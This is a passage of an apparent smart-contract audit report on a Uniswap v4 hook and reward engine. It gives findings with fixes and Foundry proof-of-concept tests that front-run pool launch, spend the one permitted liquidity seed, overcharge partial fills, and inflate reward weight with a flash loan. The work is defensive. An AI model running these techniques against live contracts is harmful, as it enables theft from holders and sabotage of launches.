import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

contract ScratchERC20 is ERC20("x", "X", 18) {
    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

/// The production hook writes the engine and team into source; this only points them at test doubles.
contract HookForTest is PimdHook {
    address private immutable _e;
    address private immutable _t;

    constructor(IPoolManager pm, address token_, address e, address t) PimdHook(pm, token_) {
        _e = e;
        _t = t;
    }

    function engine() public view override returns (address) {
        return _e;
    }

    function team() public view override returns (address) {
        return _t;
    }
}

/// This contract plays the launch factory: it deploys the hook, initializes the pool through the PoolManager
/// directly and seeds through its own unlock callback, so the hook sees the factory itself as `sender`.
contract InitFrontRunTest is Test, IUnlockCallback {
    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129000;
    int24 constant TICK_LOWER = 82980;

    IPoolManager manager;
    ScratchERC20 imd;
    ScratchERC20 junk; // an attacker's token that also sorts below PIMD
    PimdToken token;
    PimdHook hook;
    address attacker = makeAddr("attacker");
    address engine = makeAddr("engine");
    address team = makeAddr("team");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        // deploy the token so that both IMD and the attacker's token sort below it
        imd = new ScratchERC20();
        junk = new ScratchERC20();
        address hi = address(imd) > address(junk) ? address(imd) : address(junk);
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, address(this));
            if (uint160(p) > uint160(hi)) {
                token = new PimdToken{salt: bytes32(i)}();
                break;
            }
        }
        require(address(token) != address(0), "no token salt");

        bytes memory args = abi.encode(manager, address(token), engine, team);
        bytes32 codeHash = keccak256(abi.encodePacked(type(HookForTest).creationCode, args));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), codeHash, address(this));
            if (uint160(p) & Hooks.ALL_HOOK_MASK == FLAGS) {
                hook = PimdHook(payable(address(new HookForTest{salt: bytes32(s)}(manager, address(token), engine, team))));
                break;
            }
        }
        require(address(hook) != address(0), "no hook salt");
    }

    function _key(address c0) internal view returns (PoolKey memory) {
        return PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
    }

    /// Finding: beforeInitialize accepts any sender and any currency0 that is not PIMD or native, so whoever
    /// reaches the PoolManager first owns the one-shot launch. The factory's own initialize then reverts.
    function test_anyone_can_open_the_pool_against_a_junk_quote_before_the_factory() public {
        vm.prank(attacker);
        try manager.initialize(_key(address(junk)), TickMath.getSqrtPriceAtTick(START_TICK)) {} catch {}

        // Expected: the attacker's pool was refused and the hook is still unlaunched; the factory opens it.
        assertFalse(hook.launched(), "hook must not be launched by a stranger against a junk quote");
        manager.initialize(_key(address(imd)), TickMath.getSqrtPriceAtTick(START_TICK));
        assertEq(Currency.unwrap(hook.quote()), address(imd), "quote is IMD");
    }

    /// Finding: beforeAddLiquidity accepts the first add from anyone. One wei of liquidity from a stranger
    /// between initialize and the factory's seed consumes the single permitted add and the seed reverts.
    function test_anyone_can_consume_the_single_seed_before_the_factory() public {
        manager.initialize(_key(address(imd)), TickMath.getSqrtPriceAtTick(START_TICK));

        // the attacker needs a few PIMD to add a wei of liquidity: a sliver of the supply is enough
        token.transfer(attacker, 1e18);
        imd.mint(attacker, 1e18);
        vm.startPrank(attacker);
        PoolModifyLiquidityTest router = new PoolModifyLiquidityTest(manager);
        token.approve(address(router), type(uint256).max);
        imd.approve(address(router), type(uint256).max);
        try router.modifyLiquidity(
            _key(address(imd)),
            ModifyLiquidityParams({tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: 1, salt: 0}),
            ""
        ) {} catch {}
        vm.stopPrank();

        // Expected: the stranger's add was refused, and the factory's seed goes through.
        assertFalse(hook.seeded(), "a stranger must not be able to consume the factory's one add");
        manager.unlock(abi.encode(uint256(1_000_000e18)));
        assertTrue(hook.seeded(), "factory seeded");
    }

    // ---- the factory's own seed: a direct modifyLiquidity in its own unlock
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        uint256 liquidity = abi.decode(data, (uint256));
        (BalanceDelta delta,) = manager.modifyLiquidity(
            _key(address(imd)),
            ModifyLiquidityParams({
                tickLower: TICK_LOWER,
                tickUpper: START_TICK,
                liquidityDelta: int256(liquidity),
                salt: 0
            }),
            ""
        );
        if (delta.amount1() < 0) {
            manager.sync(Currency.wrap(address(token)));
            token.transfer(address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        }
        if (delta.amount0() < 0) {
            manager.sync(Currency.wrap(address(imd)));
            imd.mint(address(manager), uint256(uint128(-delta.amount0())));
            manager.settle();
        }
        return "";
    }
}

mediumbeforeAddLiquidity gives the single permitted add to whoever is first, not to the factory; one wei from a stranger makes the factory's seed revertsrc/pimd/PimdHook.sol:306

The 'exactly one add' rule is enforced by a boolean flipped on the first beforeAddLiquidity, with no check of the sender, the range, or the size. Between the pool's initialize and the factory's seed, any address holding a sliver of PIMD (the launch distributes 10% outside the pool, and the attacker may also just be the first buyer if a buy is possible) can call modifyLiquidity with liquidityDelta = 1 in any range.

That add succeeds, seeded becomes true, and the factory's real seed of ~900M PIMD then reverts LiquidityIsLocked. The pool is left live with 1 wei of liquidity owned by the stranger (which they also cannot remove), and 90% of the supply never reaches the market; the hook is one-shot so the launch must be redone with a new hook.

As with the initialize gate, this is only reachable if the factory's initialize and seed are not in the same transaction as each other; nothing in the hook enforces that. Reentrancy and self-call paths were checked and are closed: seeded is set before the add executes, nothing ever resets it, the v4-core noSelfCall exemption only applies when the hook itself is msg.sender to the PoolManager, and the hook's unlockCallback only knows ACTION_FLUSH.

Fix: require the add's sender to be the deployer recorded in the constructor (the factory), which also lets the factory's seed be checked for the intended range if desired.

State: hook launched (initialize done), not yet seeded.

Input: attacker A, holding 1e18 PIMD, calls PoolManager.modifyLiquidity(key, {tickLower: 82980, tickUpper: 129000, liquidityDelta: 1, salt: 0}) through their own router.

Expected: refused; hook.seeded() stays false and the factory's seed succeeds.

Actual: the add succeeds, hook.seeded() == true, and the factory's modifyLiquidity with the 900M PIMD seed reverts LiquidityIsLocked. test/scratch/InitFrontRun.t.sol::test_anyone_can_consume_the_single_seed_before_the_factory fails on the current code with 'a stranger must not be able to consume the factory's one add'.

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

contract ScratchERC20 is ERC20("x", "X", 18) {
    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

/// The production hook writes the engine and team into source; this only points them at test doubles.
contract HookForTest is PimdHook {
    address private immutable _e;
    address private immutable _t;

    constructor(IPoolManager pm, address token_, address e, address t) PimdHook(pm, token_) {
        _e = e;
        _t = t;
    }

    function engine() public view override returns (address) {
        return _e;
    }

    function team() public view override returns (address) {
        return _t;
    }
}

/// This contract plays the launch factory: it deploys the hook, initializes the pool through the PoolManager
/// directly and seeds through its own unlock callback, so the hook sees the factory itself as `sender`.
contract InitFrontRunTest is Test, IUnlockCallback {
    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129000;
    int24 constant TICK_LOWER = 82980;

    IPoolManager manager;
    ScratchERC20 imd;
    ScratchERC20 junk; // an attacker's token that also sorts below PIMD
    PimdToken token;
    PimdHook hook;
    address attacker = makeAddr("attacker");
    address engine = makeAddr("engine");
    address team = makeAddr("team");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        // deploy the token so that both IMD and the attacker's token sort below it
        imd = new ScratchERC20();
        junk = new ScratchERC20();
        address hi = address(imd) > address(junk) ? address(imd) : address(junk);
        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, address(this));
            if (uint160(p) > uint160(hi)) {
                token = new PimdToken{salt: bytes32(i)}();
                break;
            }
        }
        require(address(token) != address(0), "no token salt");

        bytes memory args = abi.encode(manager, address(token), engine, team);
        bytes32 codeHash = keccak256(abi.encodePacked(type(HookForTest).creationCode, args));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), codeHash, address(this));
            if (uint160(p) & Hooks.ALL_HOOK_MASK == FLAGS) {
                hook = PimdHook(payable(address(new HookForTest{salt: bytes32(s)}(manager, address(token), engine, team))));
                break;
            }
        }
        require(address(hook) != address(0), "no hook salt");
    }

    function _key(address c0) internal view returns (PoolKey memory) {
        return PoolKey({
            currency0: Currency.wrap(c0),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
    }

    /// Finding: beforeInitialize accepts any sender and any currency0 that is not PIMD or native, so whoever
    /// reaches the PoolManager first owns the one-shot launch. The factory's own initialize then reverts.
    function test_anyone_can_open_the_pool_against_a_junk_quote_before_the_factory() public {
        vm.prank(attacker);
        try manager.initialize(_key(address(junk)), TickMath.getSqrtPriceAtTick(START_TICK)) {} catch {}

        // Expected: the attacker's pool was refused and the hook is still unlaunched; the factory opens it.
        assertFalse(hook.launched(), "hook must not be launched by a stranger against a junk quote");
        manager.initialize(_key(address(imd)), TickMath.getSqrtPriceAtTick(START_TICK));
        assertEq(Currency.unwrap(hook.quote()), address(imd), "quote is IMD");
    }

    /// Finding: beforeAddLiquidity accepts the first add from anyone. One wei of liquidity from a stranger
    /// between initialize and the factory's seed consumes the single permitted add and the seed reverts.
    function test_anyone_can_consume_the_single_seed_before_the_factory() public {
        manager.initialize(_key(address(imd)), TickMath.getSqrtPriceAtTick(START_TICK));

        // the attacker needs a few PIMD to add a wei of liquidity: a sliver of the supply is enough
        token.transfer(attacker, 1e18);
        imd.mint(attacker, 1e18);
        vm.startPrank(attacker);
        PoolModifyLiquidityTest router = new PoolModifyLiquidityTest(manager);
        token.approve(address(router), type(uint256).max);
        imd.approve(address(router), type(uint256).max);
        try router.modifyLiquidity(
            _key(address(imd)),
            ModifyLiquidityParams({tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: 1, salt: 0}),
            ""
        ) {} catch {}
        vm.stopPrank();

        // Expected: the stranger's add was refused, and the factory's seed goes through.
        assertFalse(hook.seeded(), "a stranger must not be able to consume the factory's one add");
        manager.unlock(abi.encode(uint256(1_000_000e18)));
        assertTrue(hook.seeded(), "factory seeded");
    }

    // ---- the factory's own seed: a direct modifyLiquidity in its own unlock
    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        require(msg.sender == address(manager));
        uint256 liquidity = abi.decode(data, (uint256));
        (BalanceDelta delta,) = manager.modifyLiquidity(
            _key(address(imd)),
            ModifyLiquidityParams({
                tickLower: TICK_LOWER,
                tickUpper: START_TICK,
                liquidityDelta: int256(liquidity),
                salt: 0
            }),
            ""
        );
        if (delta.amount1() < 0) {
            manager.sync(Currency.wrap(address(token)));
            token.transfer(address(manager), uint256(uint128(-delta.amount1())));
            manager.settle();
        }
        if (delta.amount0() < 0) {
            manager.sync(Currency.wrap(address(imd)));
            imd.mint(address(manager), uint256(uint128(-delta.amount0())));
            manager.settle();
        }
        return "";
    }
}

mediumTax is charged on the specified amount, not the executed one: a partially filled exact-in buy or exact-out sell pays tax on IMD that never tradedsrc/pimd/PimdHook.sol:253

For the two cases where IMD is the specified side (exact-in buy, exact-out sell), beforeSwap computes the fee from params.amountSpecified and mints that many claims before the pool has decided how much it can fill. Uniswap v4 swaps stop at sqrtPriceLimitX96 or when the range is exhausted and return a smaller delta; the hook's BeforeSwapDelta of +fee is nevertheless charged to the swapper in full.

The pool here is a single range of ~900M PIMD that absorbs about 22,700 IMD end to end, so any exact-in buy larger than the remaining capacity is partially filled. In the reproduction the swapper specifies 1,000,000 IMD, the pool takes 22,743 IMD, and the hook takes 24,000 IMD of tax: the swapper pays 46,743 IMD for 22,743 IMD worth of PIMD, a 105% tax instead of 2.4%.

The mirror case, an exact-out sell asking for more IMD than the pool holds, is worse in kind: with 144.6 IMD in the pool and a request for 1,000 IMD, beforeSwap mints 59.3 IMD of claims (1000*560/9440), the pool outputs 144.6, and the seller nets 85.2, a 41% tax; had the pool held less than 59.3 IMD the seller's IMD delta would have gone negative and they would pay IMD while selling PIMD.

Holders and the team receive the overcharge (claims == holdersOwed + teamOwed still holds), so the accounting invariant is intact but the stated economics, 2.4% of a buy and 5.6% of a sell, are not. This is reachable by normal users with routers that allow partial fills (any sqrtPriceLimit short of the full amount), and is most likely exactly when the pool is near the ends of its range.

Fix within the existing economics: for the specified-IMD cases, compute and mint the fee in afterSwap from the actual IMD delta (|delta.amount0()|), exactly as the two unspecified cases already do, returning it as the hook delta on the specified side; beforeSwap then only needs to pass through.

State: launched pool past the launch-cap window, no prior trades.

Input: alice (holding 1,000,000 IMD) swaps zeroForOne, amountSpecified = -1_000_000e18, sqrtPriceLimitX96 = MIN_SQRT_PRICE+1 through PoolSwapTest.

Expected: tax == 2.4% of the IMD actually spent on the trade (~559 IMD on a 22,743 IMD fill) and tax <= IMD that entered the pool.

Actual: hook.totalTaxed() == 24_000e18 while only 22_743e18 IMD entered the pool; alice's IMD balance fell by 46_743e18. test/scratch/PartialFillTax.t.sol fails on the current code with 'tax is 2.4% of what was actually spent: 24000e18 !~= 1121e18'.

Exact-out sell variant (checked, not in the proof file): pool holding 144.6 IMD, bob swaps oneForZero amountSpecified = +1000e18, limit MAX_SQRT_PRICE-1: tax taken 59.32 IMD, bob receives 85.25 IMD.

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {PoolSwapTest} from "@uniswap/v4-core/src/test/PoolSwapTest.sol";
import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol";
import {SwapParams, ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol";
import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdHook} from "src/pimd/PimdHook.sol";

contract ScratchIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

contract MockArbSys {
    uint256 public n = 1_000_000;

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function set(uint256 v) external {
        n = v;
    }
}

/// The production hook writes the engine and team into source; this only points them at test doubles.
contract HookForTest is PimdHook {
    address private immutable _e;
    address private immutable _t;

    constructor(IPoolManager pm, address token_, address e, address t) PimdHook(pm, token_) {
        _e = e;
        _t = t;
    }

    function engine() public view override returns (address) {
        return _e;
    }

    function team() public view override returns (address) {
        return _t;
    }
}

contract PartialFillTaxTest is Test {
    uint160 constant FLAGS = uint160(
        Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG
            | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG
            | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG
    );
    int24 constant START_TICK = 129000;
    int24 constant TICK_LOWER = 82980;
    uint256 constant BPS = 10_000;

    IPoolManager manager;
    PoolSwapTest router;
    PoolModifyLiquidityTest lpRouter;
    ScratchIMD imd;
    PimdToken token;
    PimdHook hook;
    PoolKey key;
    MockArbSys sys;
    address alice = makeAddr("alice");
    address engine = makeAddr("engine");
    address team = makeAddr("team");

    function setUp() public {
        vm.etch(address(100), address(new MockArbSys()).code);
        sys = MockArbSys(address(100));
        sys.set(1_000_000);

        manager = IPoolManager(address(new PoolManager(address(this))));
        router = new PoolSwapTest(manager);
        lpRouter = new PoolModifyLiquidityTest(manager);
        imd = new ScratchIMD();

        bytes32 initHash = keccak256(type(PimdToken).creationCode);
        for (uint256 i; i < 200_000; ++i) {
            address p = vm.computeCreate2Address(bytes32(i), initHash, address(this));
            if (uint160(p) > uint160(address(imd))) {
                token = new PimdToken{salt: bytes32(i)}();
                break;
            }
        }
        require(address(token) != address(0), "no token salt");

        bytes memory args = abi.encode(manager, address(token), engine, team);
        bytes32 codeHash = keccak256(abi.encodePacked(type(HookForTest).creationCode, args));
        for (uint256 s; s < 500_000; ++s) {
            address p = vm.computeCreate2Address(bytes32(s), codeHash, address(this));
            if (uint160(p) & Hooks.ALL_HOOK_MASK == FLAGS) {
                hook = PimdHook(payable(address(new HookForTest{salt: bytes32(s)}(manager, address(token), engine, team))));
                break;
            }
        }
        require(address(hook) != address(0), "no hook salt");

        key = PoolKey({
            currency0: Currency.wrap(address(imd)),
            currency1: Currency.wrap(address(token)),
            fee: 12_500,
            tickSpacing: 60,
            hooks: IHooks(address(hook))
        });
        manager.initialize(key, TickMath.getSqrtPriceAtTick(START_TICK));
        uint256 amount = token.balanceOf(address(this)) * 9 / 10;
        uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
            TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount
        );
        token.approve(address(lpRouter), type(uint256).max);
        lpRouter.modifyLiquidity(
            key,
            ModifyLiquidityParams({
                tickLower: TICK_LOWER,
                tickUpper: START_TICK,
                liquidityDelta: int256(uint256(liquidity)),
                salt: 0
            }),
            ""
        );
        // past the init block and the launch-cap window
        sys.set(sys.n() + hook.launchCapBlocks() + 1);
        vm.warp(block.timestamp + hook.launchCapSeconds() + 1);
    }

    /// Finding: on an exact-in buy, beforeSwap takes 2.4% of the *specified* IMD before the pool has said how
    /// much of it it can absorb. When the order is larger than the range's remaining capacity the pool fills
    /// part of it, but the tax is still charged on the whole order: here the swapper puts 22,743 IMD into the
    /// pool and pays 24,000 IMD of tax, more than the trade itself. Expected: tax = 2.4% of the IMD that was
    /// actually spent on the trade (gross of tax), i.e. fee == spent * 240 / 10000.
    function test_exact_in_buy_partial_fill_is_taxed_on_the_filled_amount_only() public {
        uint256 order = 1_000_000e18;
        imd.mint(alice, order);
        vm.prank(alice);
        imd.approve(address(router), type(uint256).max);
        uint256 before = imd.balanceOf(alice);
        vm.prank(alice, alice);
        router.swap(
            key,
            SwapParams({zeroForOne: true, amountSpecified: -int256(order), sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1}),
            PoolSwapTest.TestSettings({takeClaims: false, settleUsingBurn: false}),
            ""
        );
        uint256 spent = before - imd.balanceOf(alice);
        uint256 intoPool = imd.balanceOf(address(manager)) - hook.claimBalance();
        uint256 tax = hook.totalTaxed();

        assertLt(intoPool, order, "the order was only partially filled");
        // the stated economics: 2.4% of the IMD the swapper spends on the trade
        assertApproxEqRel(tax, spent * 240 / BPS, 1e15, "tax is 2.4% of what was actually spent");
        assertLe(tax, intoPool, "tax cannot exceed the IMD that entered the pool");
    }
}

lowThe engine's flash-borrow guard only sees the Uniswap V4 PoolManager; a PIMD balance borrowed from any other lender is tallied as weightsrc/pimd/PimdEngine.sol:426

fire, tally and pay refuse to run while the PoolManager's transient lock is set, which closes the V4 flash path the design notes name. The comment 'Outside an unlock the borrow cannot exist' is not true in general: PIMD is a plain ERC-20 and anyone can create a Uniswap V3 pool (flash()), an ERC-3156 lender, or a lending market for it, none of which touch the PoolManager's lock. A registered holder that is a contract can borrow inside such a callback, call tally, and repay.

The size blend dampens but does not neutralise it: with lastBal = 35M and a borrowed 387M, the blended streak of a 15-day holder becomes 15d*35/422 ~ 1.25 days (tier 1x), so the tallied weight is 422M instead of the honest 105M (35M * 3x), a 4x boost paid out of the other holders' share of that epoch; in the exploration run the borrower was paid 19.6 IMD against alice's 5.2 IMD for an equal honest bag.

The borrower's own streak is reset at the next tally (bal < last), so this is a one-epoch extraction per streak, repeatable by rotating addresses. Precondition not present in this tree: a third-party PIMD lender with a large bag has to exist, which is why this is low rather than medium; it becomes real the day anyone lists PIMD on a V3 pool or a money market on the same chain.

The guard as written is correct for what it covers; the finding is that the engine's safety claim rests on an assumption about the whole chain, not about the PoolManager. Mitigations that keep the economics: weight on min(bal, lastBal) with the increase counted from the next epoch, or snapshotting balances one block earlier; which to choose is a design decision for the requester.

State: engine bound; lender contract L holds 387_000_000e18 PIMD; alice and contract holder B hold 35_000_000e18 each, both registered 15 days ago; pot funded; fire() called so phase == Tally.

Input: B calls L.flash(B, 387e24, cb) where cb runs engine.tally(100) then repays.

Expected: tally refuses or ignores the borrowed balance, B's weight == 35e24 * 3 = 105e24.

Actual: tally completes inside the callback (no PoolManager unlock is active), totalWeight - aliceWeight == 422e24. test/scratch/FlashLenderWeight.t.sol fails on the current code with 'the borrowed balance must not count as weight: 422e24 != 105e24'.

proof · a Foundry test the fix has to pass

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {ERC20} from "solmate/src/tokens/ERC20.sol";
import {PimdToken} from "src/pimd/PimdToken.sol";
import {PimdEngine} from "src/pimd/PimdEngine.sol";

contract ScratchIMD is ERC20("Identity.md", "IMD", 18) {
    function mint(address to, uint256 a) external {
        _mint(to, a);
    }
}

/// Stands in for the hook: the engine only needs `holdersOwed()` to be zero for `fire` to skip the pull.
contract HookStub {
    function holdersOwed() external pure returns (uint256) {
        return 0;
    }

    function flush() external pure returns (uint256, uint256) {
        return (0, 0);
    }
}

/// A PIMD flash lender that is not the Uniswap V4 PoolManager: a V3 pool's `flash`, an ERC-3156 lender, or a
/// lending market. Nothing in the engine's lock check sees it.
contract Lender {
    PimdToken immutable t;

    constructor(PimdToken token) {
        t = token;
    }

    function flash(address to, uint256 amt, bytes calldata data) external {
        uint256 before = t.balanceOf(address(this));
        t.transfer(to, amt);
        (bool ok,) = to.call(data);
        require(ok, "callback failed");
        require(t.balanceOf(address(this)) >= before, "not repaid");
    }
}

/// A registered holder that borrows for the length of `tally`.
contract Borrower {
    PimdEngine immutable e;
    PimdToken immutable t;
    Lender immutable l;

    constructor(PimdEngine e_, PimdToken token, Lender l_) {
        e = e_;
        t = token;
        l = l_;
    }

    function go(uint256 amt) external {
        l.flash(address(this), amt, abi.encodeCall(Borrower.cb, (amt)));
    }

    function cb(uint256 amt) external {
        e.tally(100);
        t.transfer(address(l), amt);
    }
}

contract FlashLenderWeightTest is Test {
    IPoolManager manager;
    ScratchIMD imd;
    PimdToken token;
    PimdEngine engine;
    HookStub hookStub;
    address alice = makeAddr("alice");
    address keeper = makeAddr("keeper");
    address team = makeAddr("team");

    function setUp() public {
        manager = IPoolManager(address(new PoolManager(address(this))));
        imd = new ScratchIMD();
        token = new PimdToken();
        hookStub = new HookStub();
        engine = new PimdEngine(
            PimdEngine.Config({
                poolManager: address(manager),
                imd: address(imd),
                team: team,
                binder: address(this),
                dripBpsPerPeriod: 400,
                minInterval: 2 minutes,
                minBalance: 100_000e18,
                fireTip: 0.02e18,
                tipPerHolder: 0.0005e18,
                maxCatchup: 6 hours
            })
        );
        engine.bind(address(token), address(hookStub));
    }

    /// Finding: `_requireLocked` only inspects the PoolManager's transient lock, but a PIMD balance can be
    /// borrowed for one callback from any other lender. The borrower's weight is read with the borrowed bag
    /// in it, and the blend only dampens it: a 34.5M holder borrowing 387M is tallied at roughly 4x its
    /// honest weight and is paid out of alice's share. Expected: the tally never credits a balance the
    /// holder did not have outside the callback, so the borrower's weight equals its honest weight.
    function test_weight_is_not_inflated_by_a_flash_balance_from_a_non_v4_lender() public {
        Lender lender = new Lender(token);
        Borrower b = new Borrower(engine, token, lender);
        // a third party parks 387M PIMD in the lender; alice and the borrower hold ~35M each
        token.transfer(address(lender), 387_000_000e18);
        token.transfer(alice, 35_000_000e18);
        token.transfer(address(b), 35_000_000e18);
        address[] memory list = new address[](2);
        list[0] = alice;
        list[1] = address(b);
        engine.register(list);
        // income for the pot
        imd.mint(address(engine), 1_000e18);
        vm.warp(block.timestamp + 15 days); // both at 3x

        uint256 honestWeight = token.balanceOf(address(b)) * 30_000 / 10_000;
        vm.prank(keeper);
        engine.fire();
        assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Tally), "epoch open");

        b.go(387_000_000e18); // tally runs inside the flash callback, outside any PoolManager unlock

        assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Pay), "tally completed inside the flash");
        uint256 aliceWeight = token.balanceOf(alice) * 30_000 / 10_000;
        uint256 borrowerWeight = engine.totalWeight() - aliceWeight;
        assertEq(borrowerWeight, honestWeight, "the borrowed balance must not count as weight");
    }
}

lowA sell followed by a re-buy before the next tally leaves the hold-streak untouched, contrary to the documented rulesrc/pimd/PimdEngine.sol:285
The streak is maintained from balance snapshots taken at tally time, not from transfers. The restart rule fires only when the balance at this tally is below the balance at the previous tally. A holder who sells (or sends out) any amount and restores at least the same token count before the next tally is seen as bal >= last; if exactly equal nothing changes, if slightly above the blend keeps the old streakStart almost intact.

The README and the engine's NatSpec promise 'selling or sending tokens out restarts your streak'; the engine cannot see a round trip that completes between two tallies.

The economic cost of the round trip (5.6% sell tax, 2.4% buy tax, 2 x 1.25% LP fee) makes it unattractive as a pure farming move, but it means a 14-day 3x holder can take profit at a local top and re-enter without losing the tier, which is the behaviour the streak was designed to penalise, and the window is as long as the keeper cadence (15 minutes by policy, unbounded if the keeper is down).

No fix is proposed here because enforcing it requires per-transfer tracking in the token, which the design deliberately omits; the finding is that the documented guarantee and the enforced one differ and the docs should say which.
State: alice bought 100 IMD of PIMD, registered, 15 days pass, an epoch runs (holderInfo tier == 30_000).

Input: alice sells 90% of her bag (exact-in), then buys back exact-out the same number of PIMD so that balanceOf(alice) >= lastBal, then the next epoch runs 15 minutes later.

Expected per the docs: tier 0 (streak restarted by the sale).

Actual: holderInfo(alice).tierBps_ == 30_000; the tally saw bal >= last and kept streakStart.

Verified with the project's PimdBaseTest helpers (_sell(alice, bag*9/10); _buyExactOut(alice, bag - balanceOf(alice), 1000e18); _runEpoch()).
lowfire() swallows every flush failure silently; the pattern is safe for accounting but hides a dead income pathsrc/pimd/PimdEngine.sol:247
Assessment of the try/catch, as asked.

What is safe: flush is nonReentrant and the engine's fire is nonReentrant, the only external effect of flush is an IMD transfer into the engine which _book then measures by balance, and a reverted flush leaves holdersOwed intact so the IMD is not lost, only delayed.

The 63/64 gas trick (make flush run out of gas so the catch is taken while the rest of fire succeeds) is not feasible here: flush needs ~150k gas, so any gas budget that leaves enough after the call for _book, _released and the tip send cannot starve it.

What is not safe: the catch is empty, so a flush that reverts every time (IMD refusing the team wallet, see the flush finding; a hook whose engine() constant is a different address, see the bind finding; a mis-set quote) produces a fire() that succeeds, emits Fired with a drip computed from a pot that never grows, and leaves no trace on chain.

Off-chain monitoring reading events or pot() sees a quiet market, not a broken pipe, which is the failure mode the requester reports having already hit. Also note that when fire triggers flush, flush's callerTip (0.01 IMD, out of the team's slice) is paid to msg.sender, which is the engine, and is then booked as holder income; harmless, but worth knowing when reconciling team receipts.

Minimal fix: emit an event in the catch carrying the revert data (catch (bytes memory reason)) and, optionally, re-read hook.holdersOwed() after the try and emit when it is still non-zero, so a dead path is visible.
